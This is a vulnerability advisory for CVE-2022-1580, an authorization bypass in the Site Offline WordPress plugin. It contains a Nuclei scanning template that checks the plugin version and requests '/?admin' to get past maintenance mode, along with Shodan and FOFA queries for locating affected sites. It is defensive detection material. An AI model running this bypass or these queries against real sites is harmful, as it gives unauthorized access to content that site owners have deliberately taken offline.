CVE-2022-1580: Site Offline WP Plugin < 1.5.3 - Authorization Bypass

2025-08-01 Site Offline WP Plugin PoC Public

Description

The plugin prevents users from accessing a website but does not do so if the URL contained certain keywords. Adding those keywords to the URL's query string would bypass the plugin's main feature.

PoC

id: CVE-2022-1580

info:
  name: Site Offline WP Plugin < 1.5.3 - Authorization Bypass
  author: s4e-io
  severity: medium
  description: |
    The plugin prevents users from accessing a website but does not do so if the URL contained certain keywords. Adding those keywords to the URL's query string would bypass the plugin's main feature.
  impact: |
    Attackers can bypass the site offline/maintenance mode by adding specific keywords to the URL query string, gaining unauthorized access to the website.
  remediation: Fixed in 1.5.3
  reference:
    - https://wpscan.com/vulnerability/7b6f91cd-5a00-49ca-93ff-db7220d2630a/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1580
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2022-1580
    cwe-id: CWE-639
    epss-score: 0.01583
    epss-percentile: 0.74311
    cpe: cpe:2.3:a:freehtmldesigns:site_offline:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: freehtmldesigns
    product: "site_offline"
    framework: wordpress
    publicwww-query: "/wp-content/plugins/site-offline/"
    shodan-query: http.html:/wp-content/plugins/site-offline/
    fofa-query: body=/wp-content/plugins/site-offline/
  tags: cve,cve2022,wpscan,site-offline,wordpress,wp-plugin,wp,freehtmldesigns,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/site-offline/readme.txt"

    matchers:
      - type: word
        internal: true
        words:
          - "Site Offline Or Coming Soon Or Maintenance Mode"

    extractors:
      - type: regex
        part: body
        group: 1
        name: version
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?admin"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "wp-block", "author")'
          - "status_code == 200"
          - "compare_versions(version, '< 1.5.3')"
        condition: and
# digest: 490a00463044022036045e359741b86821ec5a84694c54e12673563982e4d69552f35163212417e90220700bd972aafde54ce6a449e25b28059c9927eae169ca19d045c3514d89c04a85:922c64590222798bb761d5b6d8e72950

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